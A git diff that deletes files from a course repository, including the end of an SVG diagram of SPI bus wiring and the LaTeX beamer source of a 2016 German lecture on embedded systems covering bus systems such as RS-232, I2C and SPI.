-         d="M 131.25,25 L 131.25,25.96875 C 176.07915,25.96875 198.51146,25.96875 209.71875,25.96875 C 215.32239,25.96875 218.13034,25.96875 219.53125,25.96875 C 220.23171,25.96875 220.57489,25.96875 220.75,25.96875 C 220.83756,25.96875 220.88436,25.96875 220.90625,25.96875 L 220.90625,25.5 L 220.90625,25 C 220.90625,25 220.90829,25 131.25,25 z "
-         id="path3144" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none"
-         d="M 225.38904,25.497581 L 218.6888,29.37055 L 218.6888,21.624612 L 225.38904,25.497581 z "
-         id="path2208" />
-    </g>
-    <g
-       id="g2210">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 131.25,40.625 L 131.25,41.59375 C 176.07915,41.593749 198.51146,41.59375 209.71875,41.59375 C 215.32239,41.59375 218.13034,41.59375 219.53125,41.59375 C 220.23171,41.59375 220.57489,41.59375 220.75,41.59375 C 220.83756,41.59375 220.88436,41.59375 220.90625,41.59375 L 220.90625,41.09375 L 220.90625,40.625 C 220.90625,40.625 220.90829,40.624998 131.25,40.625 z "
-         id="path3330" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none"
-         d="M 225.38904,41.101164 L 218.6888,44.974133 L 218.6888,37.228195 L 225.38904,41.101164 z "
-         id="path2216" />
-    </g>
-    <g
-       id="g2226">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 131.25,71.8125 L 131.25,72.78125 C 176.07915,72.78125 198.51146,72.78125 209.71875,72.78125 C 215.32239,72.78125 218.13034,72.78125 219.53125,72.78125 C 220.23171,72.78125 220.57489,72.78125 220.75,72.78125 C 220.83756,72.78125 220.88436,72.78125 220.90625,72.78125 L 220.90625,72.3125 L 220.90625,71.8125 C 220.90625,71.8125 220.90829,71.8125 131.25,71.8125 z "
-         id="path3334" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none"
-         d="M 225.38904,72.308296 L 218.6888,76.181265 L 218.6888,68.435327 L 225.38904,72.308296 z "
-         id="path2232" />
-    </g>
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2607"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-12.09375,-18)" />
-    <g
-       id="g2234">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.04614723px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 197.09375,25.5 L 197.09375,117.40625 L 197.09375,117.9375 L 197.625,117.9375 L 220.65625,117.9375 L 220.65625,116.90625 L 198.15625,116.90625 L 198.15625,25.5 L 197.09375,25.5 z "
-         id="path2689" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.83691778pt;marker-start:none"
-         d="M 225.48174,117.42146 L 218.2424,121.60605 L 218.2424,113.23687 L 225.48174,117.42146 z "
-         id="path2240" />
-    </g>
-    <g
-       id="g2282">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.03560543px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 197.1875,117.25 L 197.1875,208.09375 L 197.1875,208.625 L 197.6875,208.625 L 220.4375,208.625 L 220.4375,207.59375 L 198.21875,207.59375 L 198.21875,117.25 L 197.1875,117.25 z "
-         id="path2701" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.82848434pt;marker-start:none"
-         d="M 225.22445,208.10791 L 218.05807,212.25033 L 218.05807,203.96549 L 225.22445,208.10791 z "
-         id="path2288" />
-    </g>
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2569"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-12.01454,73.9631)" />
-    <g
-       id="g1955"
-       transform="matrix(1.008289,0,0,1,-1.516952,0)">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.97181958px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 183,56.625 L 183,133.625 L 183,134.125 L 183.5,134.125 L 220.6875,134.125 L 220.6875,133.125 L 183.96875,133.125 L 183.96875,56.625 L 183,56.625 z "
-         id="path1398" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77745566pt;marker-start:none"
-         d="M 225.16559,133.625 L 218.4406,137.51228 L 218.4406,129.73772 L 225.16559,133.625 z "
-         id="path1961" />
-    </g>
-    <path
-       style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.99899px;stroke-linecap:square;stroke-linejoin:miter;stroke-opacity:1"
-       d="M 183,56.3125 L 183,57.3125 L 183.5038,57.3125 C 205.01279,57.312499 215.78552,57.3125 221.16276,57.3125 C 223.85139,57.3125 225.18223,57.3125 225.85439,57.3125 C 225.94283,57.3125 225.94512,57.3125 226.01183,57.3125 C 226.19858,57.3125 226.39074,57.3125 226.45265,57.3125 L 226.51562,57.3125 C 226.51562,57.3125 226.51562,56.8125 226.51562,56.8125 L 226.51562,56.3125 C 226.51562,56.3125 226.0119,56.3125 226.01183,56.3125 C 226.00599,56.3125 226.01789,56.312498 183.5038,56.3125 L 183,56.3125 z "
-       id="path2273" />
-    <g
-       id="g1971"
-       transform="matrix(1.007327,0,0,1,-1.340809,0)">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.97181958px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 183,147.0625 L 183,224.0625 L 183,224.53125 L 183.5,224.53125 L 220.6875,224.53125 L 220.6875,223.5625 L 183.96875,223.5625 L 183.96875,147.0625 L 183,147.0625 z "
-         id="path2275" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.77745566pt;marker-start:none"
-         d="M 225.16559,224.05636 L 218.4406,227.94364 L 218.4406,220.16908 L 225.16559,224.05636 z "
-         id="path1977" />
-    </g>
-    <path
-       style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.99899px;stroke-linecap:square;stroke-linejoin:miter;stroke-opacity:1"
-       d="M 183,146.75 L 183,147.75 L 183.50409,147.75 C 205.02565,147.75 215.80467,147.75 221.18506,147.75 C 223.87526,147.75 225.20688,147.75 225.87943,147.75 C 225.96792,147.75 225.97022,147.75 226.03696,147.75 C 226.22383,147.75 226.4161,147.75 226.47804,147.75 L 226.54105,147.75 C 226.54105,147.75 226.54105,147.25 226.54105,147.25 L 226.54105,146.75 C 226.54105,146.75 226.03703,146.75 226.03696,146.75 C 226.03112,146.75 226.04303,146.75001 183.50409,146.75 L 183,146.75 z "
-       id="path2277" />
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2586"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-70.19016,28.79256)" />
-    <g
-       id="g1987">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.98554045px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 139.5,162 C 139.5,162 139.5,162.5 139.5,162.5 L 139.5,163 C 139.5,163 139.49105,163 220.59375,163 L 220.59375,162 C 180.0424,162 159.76284,162 149.625,162 C 144.55608,162 142.01723,162 140.75,162 C 140.11639,162 139.81465,162 139.65625,162 C 139.57705,162 139.5198,162 139.5,162 z "
-         id="path2588" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.78843236pt;marker-start:none"
-         d="M 225.13765,162.5 L 218.31771,166.44216 L 218.31771,158.55784 L 225.13765,162.5 z "
-         id="path1993" />
-    </g>
-    <path
-       sodipodi:type="arc"
-       style="fill:#000000;fill-opacity:1"
-       id="path2590"
-       sodipodi:cx="209.65625"
-       sodipodi:cy="43.518429"
-       sodipodi:rx="1.9375"
-       sodipodi:ry="1.9375"
-       d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1  207.71875,43.518429 A 1.9375 1.9375 0 1 1  211.59375 43.518429 z"
-       transform="translate(-70.29688,118.9503)" />
-    <path
-       style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-       d="M 138.96875,72.375 C 138.96875,163.44362 138.96875,208.9516 138.96875,231.71875 C 138.96875,243.10233 138.96875,248.81036 138.96875,251.65625 C 138.96875,253.0792 138.96875,253.80051 138.96875,254.15625 C 138.96875,254.33412 138.96875,254.42428 138.96875,254.46875 C 138.96875,254.49098 138.96875,254.49444 138.96875,254.5 L 139.96875,254.5 C 139.96875,254.5 139.96875,254.51224 139.96875,72.375 L 138.96875,72.375 z "
-       id="path2592" />
-    <g
-       id="g1979">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-         d="M 139.875,253.25 L 139.875,254.25 C 180.33454,254.25 200.57261,254.25 210.6875,254.25 C 215.74494,254.25 218.26689,254.25 219.53125,254.25 C 220.16343,254.25 220.46695,254.25 220.625,254.25 C 220.70402,254.25 220.76149,254.25 220.78125,254.25 L 220.78125,253.75 L 220.78125,253.25 C 220.78125,253.25 220.79409,253.25 139.875,253.25 z "
-         id="path2594" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.8pt;marker-start:none"
-         d="M 225.41009,253.75 L 218.49009,257.75 L 218.49009,249.75 L 225.41009,253.75 z "
-         id="path1985" />
-    </g>
-    <path
-       style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-       d="M 167.78125,238.125 L 167.78125,239.125 L 226.53125,239.125 L 226.53125,238.125 L 167.78125,238.125 z "
-       id="path3158" />
-    <path
-       style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.00033176px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
-       d="M 167.77935,56.8125 C 167.77935,56.8125 167.77935,56.817075 167.77935,238.4375 L 168.77935,238.4375 C 168.77935,147.62729 168.77935,102.2338 168.77935,79.53125 C 168.77935,68.179973 168.77935,62.494069 168.77935,59.65625 C 168.77935,58.23734 168.77935,57.510977 168.77935,57.15625 C 168.77935,56.978886 168.77935,56.919341 168.77935,56.875 C 168.77935,56.85283 168.77935,56.818043 168.77935,56.8125 L 167.77935,56.8125 z "
-       id="path4045" />
-    <g
-       id="g4057">
-      <path
-         style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
-         d="M 136.90625,56.8125 C 136.90625,56.8125 136.90625,57.3125 136.90625,57.3125 L 136.90625,57.8125 C 136.90625,57.8125 136.9085,57.8125 168.28125,57.8125 L 168.28125,56.8125 C 152.59487,56.8125 144.73409,56.8125 140.8125,56.8125 C 138.8517,56.8125 137.89645,56.8125 137.40625,56.8125 C 137.16115,56.8125 137.03002,56.8125 136.96875,56.8125 C 136.93811,56.8125 136.91391,56.8125 136.90625,56.8125 z "
-         id="path4047" />
-      <path
-         style="fill-rule:evenodd;stroke:black;stroke-width:0.8pt;marker-start:none"
-         d="M 132.28476,57.3125 L 139.20476,53.3125 L 139.20476,61.3125 L 132.28476,57.3125 z "
-         id="path4063" />
-    </g>
-    <g
-       id="g3941">
-      <rect
-         y="12.791164"
-         x="12.858437"
-         height="72.150665"
-         width="118.28313"
-         id="rect1307"
-         style="fill:#ffc2a1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74980044px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text2182"
-         y="45.712769"
-         x="38"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="45.712769"
-           x="38"
-           id="tspan2184"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan2186"
-           y="60.712769"
-           x="38"
-           sodipodi:role="line">Master</tspan></text>
-      <text
-         sodipodi:linespacing="125%"
-         id="text3061"
-         y="30.724487"
-         x="120"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:end;line-height:125%;writing-mode:lr-tb;text-anchor:end;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="30.724487"
-           x="120"
-           id="tspan3063"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan3065"
-           y="45.724487"
-           x="120"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan3067"
-           y="60.724487"
-           x="120"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan2675"
-           y="75.724487"
-           x="120"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path2694"
-         d="M 105.55543,64.540399 L 118.77418,64.540399"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-    <g
-       id="g3920">
-      <rect
-         y="12.768347"
-         x="226.85843"
-         height="72.187675"
-         width="118.28313"
-         id="rect3084"
-         style="fill:#b9e179;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text3086"
-         y="45.712769"
-         x="320"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="45.712769"
-           x="320"
-           id="tspan3088"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan3090"
-           y="60.712769"
-           x="320"
-           sodipodi:role="line">Slave</tspan></text>
-      <text
-         id="text3092"
-         y="30.724487"
-         x="236"
-         style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="30.724487"
-           x="236"
-           id="tspan3094"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan3096"
-           y="45.724487"
-           x="236"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan3098"
-           y="60.724487"
-           x="236"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan3100"
-           y="75.724487"
-           x="236"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path3863"
-         d="M 236.89062,64.500006 L 250.10937,64.500006"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-    <g
-       id="g3899">
-      <rect
-         y="103.46392"
-         x="226.87628"
-         height="72.187675"
-         width="118.28313"
-         id="rect1462"
-         style="fill:#8fbbdf;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text1464"
-         y="136.40834"
-         x="320.01785"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="136.40834"
-           x="320.01785"
-           id="tspan1466"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan1468"
-           y="151.40834"
-           x="320.01785"
-           sodipodi:role="line">Slave</tspan></text>
-      <text
-         id="text1470"
-         y="121.42006"
-         x="236.01785"
-         style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="121.42006"
-           x="236.01785"
-           id="tspan1472"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan1474"
-           y="136.42006"
-           x="236.01785"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan1476"
-           y="151.42006"
-           x="236.01785"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan1478"
-           y="166.42006"
-           x="236.01785"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path3865"
-         d="M 236.95312,154.875 L 250.17187,154.875"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-    <g
-       id="g3878">
-      <rect
-         y="194.15945"
-         x="226.87628"
-         height="72.187675"
-         width="118.28313"
-         id="rect1482"
-         style="fill:#bfa1d1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-      <text
-         sodipodi:linespacing="125%"
-         id="text1484"
-         y="227.10387"
-         x="320.01785"
-         style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="227.10387"
-           x="320.01785"
-           id="tspan1486"
-           sodipodi:role="line">SPI</tspan><tspan
-           id="tspan1488"
-           y="242.10387"
-           x="320.01785"
-           sodipodi:role="line">Slave</tspan></text>
-      <text
-         id="text1490"
-         y="212.11559"
-         x="236.01785"
-         style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
-         xml:space="preserve"><tspan
-           y="212.11559"
-           x="236.01785"
-           id="tspan1492"
-           sodipodi:role="line">SCLK</tspan><tspan
-           id="tspan1494"
-           y="227.11559"
-           x="236.01785"
-           sodipodi:role="line">MOSI</tspan><tspan
-           id="tspan1496"
-           y="242.11559"
-           x="236.01785"
-           sodipodi:role="line">MISO</tspan><tspan
-           id="tspan1498"
-           y="257.11559"
-           x="236.01785"
-           sodipodi:role="line">SS</tspan></text>
-      <path
-         id="path3867"
-         d="M 236.82812,245.75 L 250.04687,245.75"
-         style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" />
-    </g>
-  </g>
-</svg>
diff --git a/20161110/Telefon_t-sinus-700.jpg b/20161110/Telefon_t-sinus-700.jpg
deleted file mode 120000
index 27c322c50b0f05edc8b07cfb0cc99b1876eb506d..0000000000000000000000000000000000000000
--- a/20161110/Telefon_t-sinus-700.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/Telefon_t-sinus-700.jpg
\ No newline at end of file
diff --git a/20161110/a380.jpg b/20161110/a380.jpg
deleted file mode 120000
index 33a5d1fd18843bf7385e5a6d90f69af9fd8720da..0000000000000000000000000000000000000000
--- a/20161110/a380.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/a380.jpg
\ No newline at end of file
diff --git a/20161110/curiosity.jpg b/20161110/curiosity.jpg
deleted file mode 120000
index 4452844da537414b751c5283ca8468b3ced9afb3..0000000000000000000000000000000000000000
--- a/20161110/curiosity.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/curiosity.jpg
\ No newline at end of file
diff --git a/20161110/dsc_8208.jpg b/20161110/dsc_8208.jpg
deleted file mode 120000
index 5796341ebc774aa09965a3a29854c65ce1144fb8..0000000000000000000000000000000000000000
--- a/20161110/dsc_8208.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/dsc_8208.jpg
\ No newline at end of file
diff --git a/20161110/es-20161110.pdf b/20161110/es-20161110.pdf
deleted file mode 100644
index cf001d9958e81dc1da3fb2bbe7f8fb67f16f87a3..0000000000000000000000000000000000000000
Binary files a/20161110/es-20161110.pdf and /dev/null differ
diff --git a/20161110/es-20161110.tex b/20161110/es-20161110.tex
deleted file mode 100644
index 5e679492c466b4768eb691ba78ff1510296fed6f..0000000000000000000000000000000000000000
--- a/20161110/es-20161110.tex
+++ /dev/null
@@ -1,2181 +0,0 @@
-% es-20161006.pdf - Lecture Slides on Software Development for Embedded Systems
-% Copyright (C) 2013, 2014, 2015, 2016  Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-\usepackage{rotating}
-\usepackage{tikz}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-
-\newrgbcolor{lightyellow}{0.95 0.85 0.0}
-\newrgbcolor{lightorange}{1.0 0.7 0.0}
-\newrgbcolor{lightgreen}{0.0 0.8 0.0}
-
-\newcommand{\underconstruction}{%
-  \begin{picture}(0,0)
-    \put(9,0.3){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}}
-    \put(9,0.0){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}}
-  \end{picture}}
-
-\title{Eingebettete Systeme}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{10.\ November 2016}
-
-\newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\nosectionnonumber{\inserttitle}
-
-\begin{frame}
-
-  \shownosectionnonumber
-
-  \begin{itemize}
-    \item[\textbf{1}] \textbf{Was sind eingebettete Systeme?}
-    \item[\textbf{2}] \textbf{Einführung in Unix}
-    \item[\textbf{3}] \textbf{Arrays und Pointer für Fortgeschrittene}
-    \item[\textbf{4}] \textbf{TCP/IP-Netzwerke in der Praxis}
-    \item[\textbf{5}] \textbf{Bus-Systeme}
-      \begin{itemize}
-        \color{red}
-        \item[5.1] Was sind Bus-Systeme?
-        \item[5.2] RS-232
-        \item[5.3] \ItwoC\ (TWI)
-        \item[5.4] SPI
-        \item[5.5] Beispiel: Benutzung des \ItwoC-Busses
-      \end{itemize}
-    \item[\textbf{6}] \textbf{Echtzeit}
-      \begin{itemize}
-        \item[5.1] Was ist Echtzeit?
-        \item[5.2] Echtzeitprogrammierung
-        \item[5.3] Multitasking
-        \item[5.4] Ressourcen
-        \item[5.5] Prioritäten
-      \end{itemize}
-  \end{itemize}
-
-\end{frame}
-
-\setcounter{section}{4}
-\section{Bus-Systeme}
-\subsection{Was sind Bus-Systeme?}
-
-\begin{frame}
-  \showsection
-  \showsubsection
-
-  \begin{quote}
-    Ein Bus ist ein System zur Datenübertragung zwischen mehreren
-    Teilnehmern über einen gemeinsamen Übertragungsweg.
-%    \color{gray}
-%    Findet eine Datenübertragung zwischen zwei Teilnehmern statt, so
-%    müssen die übrigen Teilnehmer schweigen, da sie sich sonst
-%    gegenseitig stören würden. Umgangssprachlich werden mitunter --
-%    oft aus historischen Gründen – auch Datenübertragungssysteme als
-%    "`Bus"' bezeichnet, die technisch eigentlich eine andere
-%    Topologie besitzen.
-
-    \medskip
-
-    \strut\hfill\url{https://de.wikipedia.org/wiki/Bus_(Datenverarbeitung)}
-  \end{quote}
-  Beispiele:
-  \begin{itemize}
-    \item
-      Computer kommuniziert mit Peripherie
-    \item
-      Computer kommunizieren (direkt) miteinander
-    \item
-      Prozessor kommuniziert mit externem Speicher
-    \item
-      Teile eines Prozessors kommunizieren miteinander
-  \end{itemize}
-\end{frame}
-
-\begin{frame}
-  \showsection
-  \showsubsection
-  Standard-Computer:
-  \begin{itemize}
-    \item
-      Einsteckkarten: PCI (und Vorgänger)
-    \item
-      Festplatten: SATA (und Vorgänger)
-    \item
-      USB, FireWire, \dots
-    \item
-      Ethernet, CAN-Bus, \dots
-    \item
-      WLAN, BlueTooth, IR, \dots
-    \item
-      PS/2, RS-232, Centronics
-  \end{itemize}
-
-  \medskip
-
-  Minimal-Hardware:
-  \begin{itemize}
-    \item
-      RS-232
-    \item
-      \ItwoC\ (TWI)
-    \item
-      SPI
-  \end{itemize}
-
-  \begin{onlyenv}<1>
-    \begin{picture}(0,0)
-      \put(5,1.5){\includegraphics[height=3cm]{motherboard-anschluesse.jpg}}
-    \end{picture}
-  \end{onlyenv}
-  \begin{onlyenv}<2>
-    \begin{picture}(0,0)(-1.3,-4)
-      \put(1.8,-4.9){\includegraphics[height=3.5cm]{kompassmodul-an-roboter.jpg}}
-      \put(6.1,-3.3){\includegraphics[height=4.5cm]{kompassmodul.jpg}}
-      \put(6.1,1.2){\makebox(0,0)[tr]{\tikz{\draw(0,0)--(-1.9,-3.6);}}}
-      \put(6.1,-3.3){\makebox(0,0)[br]{\tikz{\draw(0,0)--(-1.8,0.2);}}}
-    \end{picture}
-  \end{onlyenv}
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsection
-  \showsubsection
-
-  \vspace*{-\bigskipamount}
-  \begin{tabbing}
-    \newterm{Punkt-zu-Punkt}\quad\=\kill
-    \newterm{seriell} \> jedes Bit einzeln übertragen\\
-    \newterm{parallel} \> mehrere Bits gleichzeitig\\[\smallskipamount]
-    \newterm{synchron} \> Abgleich über Steuerleitung: \newterm{Takt}\\
-    \newterm{asynchron} \> Abgleich über Zeitvereinbarungen\\[\smallskipamount]
-    \newterm{Punkt-zu-Punkt} \> genau zwei Teilnehmer\\
-    \newterm{busfähig} \> mehrere Teilnehmer, mit \newterm{Adressierung}
-  \end{tabbing}
-
-  \begin{itemize}
-    \item
-      \ItwoC: seriell, synchron, mit Adressierung
-    \item
-      RS-232: seriell, asynchron, Punkt-zu-Punkt
-    \item
-      RS-485, USB, CAN: seriell, asynchron, mit Adressierung
-    \item
-      SPI: seriell, synchron, Punkt-zu-Punkt oder mit Adressierung
-  \end{itemize}
-
-\end{frame}
-
-\subsection{RS-232}
-
-\begin{frame}
-  \showsection
-  \showsubsection
-
-  seriell
-  \begin{itemize}
-    \item
-      \newterm{TX\/}: 1 Leitung für Daten
-    \item
-      \newterm{RX\/}: ggf.\ 1 Leitung für Daten in der anderen Richtung
-    \item
-      \newterm{GND\/}: gemeinsame \newterm{Masse}
-    \item
-      evtl.\ zusätzliche Steuerleitungen
-  \end{itemize}
-
-  \medskip
-
-  synchron
-  \begin{itemize}
-    \item
-      \emph{keine\/} Taktleitung für Abgleich, wann Daten anliegen
-    \item
-      Stattdessen: Abgleich über Zeitvereinbarungen
-    \arrowitem
-      Jeder Teilnehmer braucht eine eigene Zeitbasis.
-  \end{itemize}
-
-  \medskip
-
-  Punkt-zu-Punkt
-  \begin{itemize}
-    \item
-      nur 2 Teilnehmer vorgesehen
-  \end{itemize}
-\end{frame}
-
-\begin{frame}
-  \showsubsection
-  \vspace*{-0.35cm}
-  \begin{center}
-    \includegraphics[scale=0.9]{rs-232.pdf}
-  \end{center}
-\end{frame}
-
-\subsection{\protect\ItwoC\ (TWI)}
-
-\begin{frame}
-  \showsection
-  \showsubsection
-
-  \ItwoC\ = Inter-IC; TWI = Two-Wire-Interface
-
-  \medskip
-
-  seriell
-  \begin{itemize}
-    \item
-      \newterm{SDA\/}: 1 Leitung für Daten (in beiden Richtungen)
-    \item
